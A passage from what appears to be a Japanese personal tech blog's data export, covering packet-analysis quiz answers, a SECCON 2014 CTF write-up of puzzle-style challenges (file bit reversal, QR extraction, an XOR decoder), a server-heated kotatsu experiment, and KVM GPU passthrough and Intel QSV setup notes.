192.168.1.2 (192.168.1.2)\n Destination: 192.168.1.1 (192.168.1.1)\n [Source GeoIP: Unknown]\n [Destination GeoIP: Unknown]\n Internet Control Message Protocol\n Type: 0 (Echo (ping) reply)\n Code: 0\n Checksum: 0x0000 [incorrect, should be 0x50fd]\n Identifier (BE): 15108 (0x3b04)\n Identifier (LE): 1083 (0x043b)\n Sequence number (BE): 111 (0x006f)\n Sequence number (LE): 28416 (0x6f00)\n Data (56 bytes)\n\n 0000 54 01 8d c5 00 0c a6 b9 08 09 0a 0b 0c 0d 0e 0f T...............\n 0010 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f ................\n 0020 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f !\"#$%&'()*+,-./\n 0030 30 31 32 33 34 35 36 37 01234567\n Data: 54018dc5000ca6b908090a0b0c0d0e0f1011121314151617...\n [Length: 56]\n\n\nICMPの項目を見てみると、\n\n`Checksum: 0x0000 [incorrect, should be 0x50fd]`\n\nとあるので、答えにコレを記入して乙です。\n\n## 問題7\n\n 通信相手のIPアドレスは?次の4つのパケットを見て答えよ。\n\n -- 1 --\n 000000: FF FF FF FF FF FF 00 66 77 88 99 AA 08 06 00 01 : .......f w.......\n 000010: 08 00 06 04 00 01 00 66 77 88 99 AA C0 A8 01 02 : .......f w.......\n 000020: 00 00 00 00 00 00 C0 A8 01 01 : ........ ..\n ==\n -- 2 --\n 000000: 00 66 77 88 99 AA 00 11 22 33 44 55 08 06 00 01 : .fw..... \"3DU....\n 000010: 08 00 06 04 00 02 00 11 22 33 44 55 C0 A8 01 01 : ........ \"3DU....\n 000020: 00 66 77 88 99 AA C0 A8 01 02 00 00 00 00 00 00 : .fw..... ........\n 000030: 00 00 00 00 00 00 00 00 00 00 00 00 : ........ ....\n ==\n -- 3 --\n 000000: 00 11 22 33 44 55 00 66 77 88 99 AA 08 00 45 00 : ..\"3DU.f w.....E.\n 000010: 00 54 00 00 40 00 40 01 50 C3 C0 A8 01 02 0A 14 : .T..@.@. P.......\n 000020: 1E 28 08 00 D0 C0 7A 07 00 01 EA 6C 02 54 C9 72 : .(....z. ...l.T.r\n 000030: 0C 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 : ........ ........\n 000040: 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 : ........ .. !\"#$%\n 000050: 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 : &'()*+,- ./012345\n 000060: 36 37 : 67\n ==\n -- 4 --\n 000000: 00 66 77 88 99 AA 00 11 22 33 44 55 08 00 45 00 : .fw..... \"3DU..E.\n 000010: 00 54 02 95 40 00 40 01 4E 2E 0A 14 1E 28 C0 A8 : .T..@.@. N....(..\n 000020: 01 02 00 00 D8 C0 7A 07 00 01 EA 6C 02 54 C9 72 : ......z. ...l.T.r\n 000030: 0C 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 : ........ ........\n 000040: 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 : ........ .. !\"#$%\n 000050: 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 : &'()*+,- ./012345\n 000060: 36 37 : 67\n ==\n\npcapファイルを作成して、`tshark -r q07.pcap`とするだけです。それだけです。やってみてください。\n\n## 問題8\n 間違っているのは何バイト目?次の二つのパケットを見て答えよ。\n\n -- 1 --\n 000000: FF FF FF FF FF FF 00 11 22 33 44 55 08 06 00 01 : ........ \"3DU....\n 000010: 08 00 08 04 00 01 00 11 22 33 44 55 C0 A8 01 01 : ........ \"3DU....\n 000020: 00 00 00 00 00 00 C0 A8 01 02 : ........ .. \n ==\n -- 2 --\n 000000: 00 11 22 33 44 55 00 66 77 88 99 AA 08 06 00 01 : ..\"3DU.f w.......\n 000010: 08 00 08 04 00 02 00 66 77 88 99 AA C0 A8 01 02 : .......f w.......\n 000020: 00 11 22 33 44 55 C0 A8 01 01 00 00 00 00 00 00 : ..\"3DU.. ........\n 000030: 00 00 00 00 00 00 00 00 00 00 00 00 : ........ .... \n ==\n\nぱっと見で大体予想はつくのですが、今回もpcapファイルを作成して見てみます。\ntsharkの出力は以下のようになりました。\n\n $ tshark -r q08.pcap\n 1 0.000000 -> Ethernet 2 [Malformed Packet]\n 2 0.000001 00:66:77:88:99:aa -> 00:11:22:33:44:55 ARP 60 1.2.0.17 is at 0066778899aac0a8\n\n1パケット目が壊れてるようです。\nこの通信はARPの問い合わせの様子を示しているようで、ARPの構造を知っていればすぐに解ける問題です。\nARPのPDUは以下のようになっています。\n\n 0 1\n 0 1 2 3 4 5 6 7 8 9 a b c d e f 0 1 2 3 4 5 6 7 8 9 a b c d e f\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Hardware type | Protocol type |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | HW addr len | Proto addr len| OP Code |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Sender Hardware Address |\n + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | | Sender Protocol Address \n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n Sender Protocol Address | |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +\n | Target Hardware Address |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Target Protocol address |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\nこれに0x000eから始まるEtherペイロードを合わせてみて見ると、HW addr lenの部分、すなわちARPリクエストのハードウェアアドレス長指定が間違っているのです。\nこの問い合わせはProtocol typeの部分からIP問い合わせであることがわかり、IPアドレス問い合わせのためにはMACアドレスに対するARP要求が行われます。\nMACアドレスが物理層となり、EthernetのMACアドレスは6バイトなので、HW addr lenの部分は08ではなく、06である必要があります。\n\n0x0012番地目の部分が間違っているので、19バイト目が答えとなります。\n\n## 問題9\nなぜか問題8と同じ\n\n\n## 問題10\n このパケットデータの??の部分に表示される文字列をお答えください。\n\n 0000 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ........ ......E.\n 0010 00 54 00 00 40 00 40 01 3c a7 7f 00 00 01 7f 00 .T..@.@. <.......\n 0020 00 01 08 00 ba 0c 02 18 00 01 d7 c2 05 54 00 00 ........ .....T..\n 0030 00 00 91 f0 0e 00 00 00 00 00 10 11 12 13 14 15 ........ ........\n 0040 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 ........ .. ?????\n 0050 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 ?????????????????\n 0060 36 37 ??\n\nパケットの問題ではないね。\nASCIIコードテーブル片手に0x21から0x37までのASCII文字を記入しておしまい。\n\n\n### 感想\nCTF予選問題としては出題ファイル形式含めてもちょっと優しすぎるかなぁといった印象を持ちました。\nさくさくと解けるものが多く、難しいものは無かったように感じます。\nただ、text2pcapの存在を知らない人に取っては結構な時間を取られてしまう骨の折れるような問題群だったと思います。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>わいわい <a href=\"http://t.co/YaEfzCCFq8\">pic.twitter.com/YaEfzCCFq8</a></p>&mdash; 誕生日前日amzn.to/1vvKISb (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/507067029547806720\">2014, 9月 3</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n"]}],[0,{"slug":[0,"2014/12/07/seccon2014-online/"],"data":[0,{"title":[0,"SECCON2014 Online英語版予選 Write-up"],"date":[3,"2014-12-07T08:59:06.000Z"],"image":[0,"/assets/images/2014/12/7/SECCON2014Online_en.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"CTF"]]],"tags":[1,[[0,"seccon"],[0,"seccon2014"]]]}],"content":[0,"\n昨日12月6日午前9時(日本時間)から12月7日午後5時までの32時間耐久CTFが行われたので参加してみました。\nあまり活躍できずでしたがチャレンジしたもののまとめを記します。\n\n## 目次\n\n\n## Get the key (Network 100)\n\n\n配布されたパケットからキーの手がかりを探すというもの。\nこれはNWの基本問題だったので解説することはほとんどないです。\nWiresharkで開いてWebサイトのログイン情報が出るのでそれでアクセスしておしまい。\n\n\n\n\n## Reverseit (Bin 100)\n\nなにやら配られたファイルを反転しろというもの。\nバイト列反転、ビット反転いろいろな反転方法を試したところ、\n4bitごとに反転してあげるとJPEG画像に早変わり。\n\n\n\n画像中のFLAGも左右反転してるので眼で見て脳内反転しておしまい。\n\n\n```c\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n\nint main(int argc, char const* argv[])\n{\n\tint in, out;\n\tif ((in = open(\"Reverseit\", O_RDONLY)) != -1) {\n\t\tstruct stat st;\n\t\tint i;\n\t\tchar buf[2];\n\n\t\tout = open(\"reversed\", O_RDWR|O_CREAT, 0666);\n\t\tstat(\"Reverseit\", &st);\n\t\tfor (i = st.st_size - 1; i >= 0; --i) {\n\t\t\tlseek(in, i, SEEK_SET);\n\t\t\tread(in, buf, 1);\n\t\t\tbuf[0] = (buf[0] & 0x0f << 4) | ((buf[0] & 0xf0) >> 4);\n\t\t\twrite(out, buf, 1);\n\t\t}\n\t}\n\treturn 0;\n}\n```\n\n\n## SECCON Wars: The Flag Awakens (QR 300)\n\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/1pC56S17-_A\" frameborder=\"0\" allowfullscreen></iframe>\n\n新ジャンルQRからの出題。\n[YouTubeの動画](http://youtu.be/1pC56S17-_A)を見ろとの指令のみが与えられた問題。\n\n\n\nよーく見るとSECCONのバナーが出るときに動画の下の方にQRコードが流れているのでそれをスキャンすればよさそう。\n\n手順としては動画をまずローカルに引っ張り出して、QRコードの出現する54秒の時点から7秒間を16fpsで連番画像として抜き出します。\nファイル情報を確認すると320x240ピクセルなので、目視で下部3ピクセルに表示されてると仮定して、320x3ピクセルの画像に切り出します。\nあとはこれを連結してノイズを減らして色反転すると、\n\n\n\nこのようなQRコードが得られ、スキャンしてFLAGをゲットできます。\n\n```\nffmpeg -i SECCON_WARS.mp4 -ss 54 -t 7 -r 16 -f image2 %04d.jpg\nidentify 0001.jpg\nconvert *.jpg -crop '320x3+0+237' qr_%04d.jpg\nconvert -append qr_*.jpg qr_appended.jpg\nconvert -median 3 -negate qr_appended.jpg qr.jpg\n```\n\n## The Golden Gate (Programming 400)\n\n\n\n自作ハードウェアエンコーダーの写真があって、それによってエンコードされた文字`BQDykmgZ0I6SaQnq4o/iEONudetXdPJdpl1UVSlU69oZOtvqnHfinOpcEfIjXy9okkVpsuw2kpKS==`をデコードしてくれとのこと。\nこのハードウェアエンコーダーはユニーバーサル基板上に作られていて、絡み合うジャンパ線がどう繋がっているのかをしっかり把握できれば回路図を起こすのは以外と簡単。\n\n\n\n7400のNANDゲートによって入力から出力までの間は、2入力NANDの結果をさらにその2入力でそれぞれNANDし、それらをNANDするという、何度もNANDする処理が入ってるだけでした。\n要するにXORです。\n\nよって、プログラムは簡潔にできあがり、難なくFLAGを手に入れることができると思いました。\n\n...思いました。\n\n残念ながら時間中にFLAGは得られませんでした。\n\n\n一点、デコードすべき文がなんなのかがわからなかったことがあります。BASE64にしては文字数が合わないのです。\nそして、どのタクトスイッチがどのbitをさしているのか、アノード・カソードどちらなのか写真からよくわからない、など、躓く点が多かったのです。\n\n\nSECCONは終わってしまいましたが、ヒントが出され、入力と出力とが対応付けられるようになりました。\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/kaDjypSndMk\" frameborder=\"0\" allowfullscreen></iframe>\n\nタクトスイッチによる入力が一部反転できてなかったようです。\n\n入力文を正規のBASE64にして実行してみると、しっかりとgzipのデータとなり、フラッグを得られました。\n```\necho \"BQDykmgZ0I6SaQnq4o/iEONudetXdPJdpl1UVSlU69oZOtvqnHfinOpcEfIjXy9okkVpsuw2kpKS\" | openssl base64 -d > input\ngcc goldengate.c -o gg\n./gg input\nfile out\ngzip -S .gz -d -c out\n```\n\n```c\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n\n\n#define B(y) ((*buf >> (y)) & 1)\n\nunsigned char nand(unsigned char a, unsigned char b) {\n\tif (a == 1 && b == 1) {\n\t\treturn 0;\n\t}\n\treturn 1;\n}\n\nunsigned char xor(unsigned char a, unsigned char b) {\n\treturn nand(nand(nand(a, b), a), nand(b, nand(a, b)));\n}\n\nvoid encoder(unsigned char *buf) {\n\tunsigned char a4 = xor(B(1)^1, B(6)^1);\n\tunsigned char a6 = xor(B(3), B(1)^1);\n\tunsigned char a5 = xor(a6, B(5));\n\tunsigned char g1 = xor(B(5), B(7));\n\tunsigned char a0 = xor(g1, B(0)^1);\n\tunsigned char a2 = xor(B(2),1);\n\tunsigned char g2 = xor(B(2), B(1)^1);\n\tunsigned char a1 = xor(a2, g2);\n\tunsigned char a3 = xor(g1, g2);\n\tunsigned char a7 = xor(B(4)^1, g2);\n\tint t =\n\t\t((a7 << 7) & 128) |\n\t\t((a6 << 6) & 64) |\n\t\t((a5 << 5) & 32) |\n\t\t((a4 << 4) & 16) |\n\t\t((a3 << 3) & 8) |\n\t\t((a2 << 2) & 4) |\n\t\t((a1 << 1) & 2) |\n\t\t((a0 << 0) & 1);\n\t*buf = ((unsigned char)t ^ 0xff);\n}\n\n\nint main(int argc, char const* argv[])\n{\n\tint in;\n\tint out;\n\tstruct stat st;\n\tunsigned char buf[1 + 1];\n\tchar name[8];\n\tint i, j;\n\tunsigned char table[256];\n\tunsigned char c;\n\n\tif (argc != 2) {\n\t\treturn 1;\n\t}\n\n\t// create table\n\tfor (i = c = 0; i < 256; c = ++i) {\n\t\tencoder(&c);\n\t\ttable[(int)c] = ((unsigned char)i & 0xff);\n\t}\n\n\tif ((in = open(argv[1], O_RDONLY)) != -1) {\n\t\tstat(argv[1], &st);\n\t\tout = open(\"out\", O_RDWR|O_CREAT, 0666);\n\n\t\tfor (i = 0; i < st.st_size; i++) {\n\t\t\tread(in, buf, 1);\n\t\t\tbuf[0] = table[buf[0]];\n\t\t\twrite(out, buf, 1);\n\t\t}\n\n\t\tclose(out);\n\t\tclose(in);\n\t}\n\treturn 0;\n}\n```\n\n## QR (Easy) (QR 100)\n\n\n\n昨年のSECCON 2013オンライン予選でも出題された、データビットの部分だけ残ってるQRコードを解析するという問題。\n今回はパンケーキに焼いて食べてしまったようです。\n\nおなじみ[英語版WikipediaのQRコード解説ページ](http://en.wikipedia.org/wiki/QR_code)のデータ配置図を元にデータビットを埋めていくだけです。\n今回のフラッグの形式は`SECCON{XXXXXXX}`なので、最初の6文字が\"SECCON\"になるようなマスクを[QRコードの解説サイト](http://www.swetake.com/qrcode/qr5.html)を見ながら特定すると、マスクパターンは001であることがわかります。\n\n\n\nあとは淡々とビットを解析して行って得たFLAGは、\n\n<pre>\n0010 : 英数モード\n000000110 : 6文字\n10011111010 : 'SE'\n01000101000 : 'CC'\n10001001111 : 'ON'\n0100 : 8bitバイトモード\n00010010 : 18文字\n01111011 : '{'\n01010000 : 'P'\n01010011 : 'S'\n01110111 : 'w'\n01011101 : ']'\n01010001 : 'Q'\n00111001 : '9'\n01100100 : 'd'\n00111001 : '9'\n01000111 : 'G'\n01101010 : 'j'\n01001011 : 'K'\n01010100 : 'T'\n01100100 : 'd'\n01000100 : 'D'\n00111000 : '8'\n01001000 : 'H'\n01111101 : '}'\n0101\n11\n</pre>\n\n`SECCON{PSw]Q9d9GjKTdD8H}`\nしかし__Incorrect.__\n\n骨の折れる作業で再度トライする気にはならなかったのですが、\n今になって見返してみると間違ってるビットを発見。\n正解は`SECCON{PSwIQ9d9GjKTdD8H}`;\n\n\n\n## おしまい\n\nチーム合計で2500点でした(´Д` )\n"]}],[0,{"slug":[0,"2014/12/10/kotatsu-heating/"],"data":[0,{"title":[0,"サーバーの発熱でこたつを温める"],"date":[3,"2014-12-09T15:02:35.000Z"],"image":[0,"/assets/images/2014/12/10/kotatsu.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"kotatsu"],[0,"nas"],[0,"server"]]]}],"content":[0,"この記事は[coins Advent Calendar](http://www.adventar.org/calendars/443)の一部です。\n\n\n寒い日が続きますね。昨夜の外気温は摂氏2度でした。みなさんいかがお過ごしでしょうか。\n\n我が家は先月下旬にこたつを出しました。こたつから出られない生活が続いております。\n故に、こんなスライドをLTで発表しました。\n\n[こたつ - coinsLT #1](http://www.slideshare.net/mzyy94/kotatsu)\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/jCZ4AoE4pZYtYR\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/mzyy94/kotatsu\" title=\"こたつ - coinsLT #1\" target=\"_blank\">こたつ - coinsLT #1</a> </strong> from <strong><a target=\"_blank\" href=\"//www.slideshare.net/mzyy94\">Yuki Mizuno</a></strong> </div>\n\nITによってこたつ生活のQoLが向上したのですが、まだ改善の余地はあります。\nそう、__熱源の有効利用__です。\n\nみなさんご存知の通り、PC機器は熱を持ちます。この熱、せっかくなので有効活用したくありませんか?\nということで、実際にサーバー・デスクトップPCを熱源にしてこたつを温めてみる実験をしてみました。\n\n## 目次\n\n\n## どのように熱源として活用するか\n\n冒頭に掲載したスライドにあるように、すでにすべてのサーバーはLANケーブルと電源さえあれば動作し利用できるようになっています。\nなので、我が家では電源とLANをこたつまで引っ張り、設置場所をこたつのなかに変えるだけで熱源として利用することができます。\n\n\n__※熱を持つマシンは火災の危険があり、その危険度はアパートを燃やしてVPSを借りるという炎上マーケティングに利用されるほどです。真似する際は十分に注意してください。__\n\n## 実験環境\n\n| 日時 | 場所 | 外気温 |\n|:----------------:|:--------------------------:|:------:|\n|2014/12/9 19:04:22|学園都市内のマンションの一室| 2 ℃ |\n\nLTで発表した2つのシステムをこたつ内で動作させて、熱の有効利用ができるかどうかを検証してみます。\n\n\n## 録画サーバー\n\n\n\nまずは録画サーバーを熱源としてこたつを温めてみたいと思います。\n主な熱源となりうるパーツは以下の通りです。\n\n|パーツ|種類|\n|:----:|:--------------:|\n| CPU | Intel Celeron 847 |\n| GPU | n/a |\n| HDD | 3x WD Green 3TB |\n| SSD | 1x SanDisk 128GB |\n|Power | 200W FlexATX |\n\n24時間稼働を前提に構成したサーバーなので低消費電力のパーツが多いですが、HDD3台の発熱は結構なものであると思います。\n\n\n### 実験\n\nいつもの利用方法を想定して、電源を入れてアニメを2本、計50分ストリーミング再生して温度上昇がどれほどかを実験してみます。\n\n\n\n電源をいれる直前のこたつ内の温度は16.0℃でした。アニメを再生しているときの録画サーバーの消費電力は平均40.4Wでした。\n\n\n\n## 結果\n\n体温が熱源となることがないよう、寒いこたつの外でアニメを2本みた後のこたつ内の温度はどうなったでしょうか。\n\n\n\n1時間の録画サーバーの稼働でなんとこたつ内の温度は21.2℃になりました。5.2℃の上昇です。\nなんとなく温もりを感じられますが、まだまだこたつとしては物足りなさを感じてしまう温度です。\n\n\n## ゲームストリームサーバー\n\n\nそこで、ゲームストリームサーバーを追加してあらたな熱源としてこたつを温めてみたいと思います。\n主な熱源となりうるパーツは以下の通りです。\n\n|パーツ|種類|\n|:----:|:--------------:|\n| CPU | Intel Core i5-2405S |\n| GPU | ZOTAC GeForce 750Ti|\n| HDD | n/a|\n| SSD | 1x Transcend 128GB |\n|Power | 200W FlexATX |\n\nゲーミングマシンとあって、発熱の多いGPUを搭載しているのが特長です。\n\n\n### 実験\n先ほどの録画サーバーによって温まったこたつに、ゲームストリームサーバーを追加して、2台のマシンでどれほどこたつを温められるかを実験してみます。\nこちらもいつもの利用方法を想定して、電源を入れてゲームを1チャプター、約30分プレイしてこたつ内を温めます。\n\n\n\n電源をいれる直前のこたつ内の温度は20.8℃でした。アニメを再生した直後より少し下がっていますが、これはこたつ内にサーバーを搬入した際に、こたつ外の冷えた空気が入ったためです。\nゲームをプレイしているときの2台のマシンの消費電力は平均120Wでした。\n\n\n\n### 結果\n\n1回死んでしまいましたが、なんとかチャプターをクリアできました。透明なハンターは強い。\nさて、こたつ内の温度はどうなったでしょうか。\n\n\n\n30分間のゲームプレイで、温度はなんと26.1℃になりました。2台のマシンで16.0℃から26.1℃にまで暖かくなりました。10℃も!!\nこたつに入ってみると、眠りを誘う温もりを感じられるほどでした。普通にあったかい。\n\n\n## まとめ\n\nいくらサーバーの発熱がすごいからと、室温を劇的に上げることはできませんが、こたつの中なら10℃ほど温められることがわかりました。寒い冬にはもってこいのお得情報です。\nしかし、こたつの中は埃が多く、炎上してVPSを借りる羽目になることもあるので、くれぐれも真似する際は十分に注意をはらって行ってください。\n\n\n明日のcoins Advent Calendarは[カブさん](https://twitter.com/azuma962)です。\n"]}],[0,{"slug":[0,"2014/12/12/kvm-intel-hd-graphics-passthrough/"],"data":[0,{"title":[0,"KVMでQSVするためIntel HD Graphicsパススルーするー"],"date":[3,"2014-12-12T14:59:49.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"kvm"],[0,"qsv"],[0,"kernel"],[0,"linux"]]]}],"content":[0,"\nこの記事は[Linux Advent Calendar 2014](http://qiita.com/advent-calendar/2014/linux) 12日目の記事です。\n\n12月も中頃となり寒い日が続きますね。みなさん体調はいかがでしょうか。\n\n先日の[こたつを温める実験](../2014/2014-12-10-kotatsu-heating.md)で十分な熱を得られることを知ってしまい、つい調子に乗って動画のエンコードをこたつの中でやってしまって、40℃超の高温になるという経験を得るなど、新しい発見のある毎日です。\n\nこたつ温め実験で使った録画サーバーはCPUがIntel Celeron 847はとても貧弱で、動画をH.264にエンコードしようものなら30分のアニメで8時間かかってしまうほどです。\nなんとか短時間で動画エンコードできないかと悩んでいたところ、Intel QuickSync Video(以下QSV、詳細は後述)がLinuxもサポートされていることを思い出し、LinuxでQSVエンコードをしてみようと思い立ちました。\n\nQSVを利用できるベアメタルマシンは我が家に2台あり、より新しいものはCPUにXeon E3v3を搭載しています。\nこのマシンではKVMで仮想マシンを複数立ち上げていて、カーネルコンパイルなどのCIを回したり、クロスコンパイル環境を構築しているものです。\n今回はそのマシンに録画用仮想マシンを立て、録画に必要なUSBデバイスとPCI ExpressのレーンとQSVエンコードのためにIntel HD Graphicsのパススルーを試みる記録の第1章となります。\n\n## 目次\n\n\n## Intel QuickSync Video\n\n[IntelのQSV公式サイト](http://www.intel.co.jp/content/www/jp/ja/architecture-and-technology/quick-sync-video/quick-sync-video-general.html)に情報が載っていますが簡単にまとめます。\n\nIntel Quick Sync Videoとは、Sandy Bridge世代のCore iシリーズのIntel CPUに搭載されているIntel HD Graphicsによる、動画のハードウェアエンコード・デコード技術のことです。\n対象となるコーデックはH.264とH.262のみですが、エンコードに関してはソフトウェアで行うものよりもQSVを利用したものの方が圧倒的に高速(ただし品質は低下する模様)です。\n\nQSVをオープンソースな動画エンコードソフトウェアで利用する動きは近頃活発であり、有名どころとしては[Handbrake](https://handbrake.fr)が最新版である[バージョン0.10.0でQSVエンコードをサポート](https://handbrake.fr/news.php?article=27)し始めました。\n[VLC](http://www.videolan.org)も[バージョン2.10からQSVエンコードをサポート](http://www.videolan.org/vlc/releases/2.1.0.html)しています。\n\nただ、これらのオープンソースソフトウェア(OSS)によって、QSVによるH.264エンコード高速化の恩恵を受けられるのは、両者ともいまのところWindows版のみとなっています。\n\n\n## QSV on Linux\n\nWindows向けにしかOSSのQSVエンコーダーがないからって、なにもLinuxでQSVでエンコードできないわけではないのです。\nffmpegのエンコードコーデックとして、LinuxでもQSVエンコードができる[qsv-ffmpeg-codec](https://github.com/shenhailuanma/qsv-ffmpeg-codec)なるものがあるのです。\nこれを利用するには、Intel Media SDKを導入する必要がありますが、これによってOSSでのQSVエンコードがLinuxでもできるのです。\n\n\n## Intel Media SDK\n\nIntel HD GraphicsをLinuxで利用するためにはSDKが必要となります。そのSDKがこれ、Intel Media SDKです。これは現在、[Intel(r) Medoa Server Studio 2015](https://software.intel.com/en-us/intel-media-server-studio)(以下IMSS)に含まれる形で提供されています。IMSS 2015 R2ではUbuntuとSUSE Linuxがサポートされています。\n\n\n## Intel HD Graphics pass-through\n\nいろいろなシステムの説明を終えたのでここからが本題です。\nKVMでIntel HD Graphicsをpass-throughする方法を手順を追って説明していきます。\n\n仮想マシンでのPCIデバイスのパススルーはよく行われており、XenにおいてはGPUパススルーによって[家庭内VDIサーバーを作る](http://www.slideshare.net/zgock/203o)というような例があります。\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/bjnCgn3SxvB1Nf\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/zgock/203o\" title=\"Xenとzfsで作る家庭内VDIサーバ\" target=\"_blank\">Xenとzfsで作る家庭内VDIサーバ</a> </strong> from <strong><a target=\"_blank\" href=\"//www.slideshare.net/zgock\">zgock</a></strong> </div>\n\nXenによるPCIパススルーの記事はたくさん見つかるものの、KVMによるPCIパススルーに関するものは少なく、ましてやCPU内臓GPUのパススルーは皆無と言ってもいいほどです。\nこれは、KVMにおいてPCIパススルーをするにはIntel VT-dテクノロジーが必要なので、ユーザーが限られてしまうのも影響しているかもしれません。\n\nKVMでPCIパススルーするための手がかりを`make menuconfig`で調べたところ、次の2つのオプションを有効化することでIntel HD GraphicsをKVMにパススルーできそうだということがわかりました。\n\n\n\n\nIntel IOMMUはIntel VT-dの機能をカーネルで有効にするものです。\nまた、VFIOはIOMMUによるデバイスへのアクセスを提供するものです。\n\nこれらを有効にしてコンパイル && インストールしカーネルをKVMでPCIデバイスパススルーできるようにします。\n\nその次はqemuの起動オプションです。\nまず、ベアメタルマシン上ではどのようにIntel HD Graphicsが認識されているのかを調べます。\n\n\n\nバス00:02.0にIntel HD Graphicsが認識されています。\n\nこのバス 00:02.0をPCIデバイスとしてパススルーするため、kvmの起動オプションに`-device vfio-pci,host=00:02.0,id=hostpci0,bus=ich9-pcie-port-1,addr=0x0,x-vga=on -machine type=q35`を追加します。\n\n<Notice type=\"info\">\n**追記(2015/1/30)** このとき、CPUタイプのオプションを`-cpu Haswell,kvm=off,+x2apic`とすることを忘れないでください。\n</Notice>\n\nすると、ゲストLinuxにしっかりとIntel HD Graphicsが渡されていることがわかります。\n\n\n\n## Intel Media SDK Install\n\nこの先の記事が長くなってしまったのでIMSSのインストール以降は後ほど別記事に書きます。。\n\n\n## まとめ\n\nKVMでもPCIパススルーして幸せになろう!\n\n\n明日はmasami256さんです。\n"]}],[0,{"slug":[0,"2015/01/30/intel-qsv-on-linux/"],"data":[0,{"title":[0,"Intel QSVのH.264エンコードをLinuxで!"],"date":[3,"2015-01-30T13:22:03.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"qsv"],[0,"ffmpeg"],[0,"imss"],[0,"linux"]]]}],"content":[0,"\n[前回の記事](../2014/2014-12-12-kvm-intel-hd-graphics-passthrough.md)から1ヶ月以上空いてしまいました。遅ればせながらで申し訳ありません。続編です。\nIntel QSVは高速にある程度の画質のエンコードできてよいです。とても。\n\n今回はKVMでIntel HD Graphicsをパススルーした仮装マシン上に、SDKのインストールとカーネルモジュールのインストール、そしてffmpegでのQSVによるH.264エンコードができる環境づくりまでの手順をご紹介します。\n~~これが意外と骨が折れる作業だったので同じような思いをせぬよう、ご熟読ください。~~(書き直す前の文章です。書き直した理由は後述。)\n\n## 目次\n\n\n## Intel Media Server Studio (Intel Media SDK)\n\n前回の記事で紹介したIntel Media Server Studio(以下、IMSS。旧Intel Media SDK)のインストールをします。\nIMSSはIntel Developer Zoneのメンバーになってから、[こちら](https://software.intel.com/en-us/intel-media-server-studio)へアクセスすることでダウンロードできます。\nメンバー登録時と同じメールアドレスを指定するとダウンロードリンクが送られてくるので、アクセスしてfor Linuxの方をダウンロードします。\n\n\n\n執筆時点での最新版は2015 R3です。この2015 R3を対象にインストールを進めていきます。(12月中旬に2015 R2を対象にした記事を書き終わっていたのだけれど、公開し損ねてる間にバージョンアップがあったため最初から書き直してるなんて言えない。。)\n\nIMSS 2015 R3から対応OSはCentOSとSLESの2種類のみとなったので、どちらか好きな方を選んでインストールしてください。以下にはCentOS 7での様子を載せます。\n\n### Intel Media SDK Install\nIMSSをダウンロードし回答すると、下図のように幾つかアーカイブの入ったディレクトリが展開されます。そこにあるSDKをインストールすることでQSVを利用することができるようになります。\n\n\n\nこのSDKのアーカイブを展開すると下図のように、インストール手順の書かれたPDFファイルとOSごとにディレクトリで分けられたドライバがでてきます。\n\n\n\n今回はCentOS 7なので、CentOSディレクトリに移動し、PDFに記載のインストール手順を踏むだけでいいはずなんですが、幾つか依存関係にあるパッケージが必要になります。これがなくてインストールコケまくったので下表にまとめておきます。`yum install`などでインストールしてください。\n\n パッケージ名 | 簡易説明\n:---------:|:-------\nmesa-dri-drivers | グラフィックデバイスドライバ\nredhat-lsb | lsb_releaseでOS情報取得したいらしい\nwget 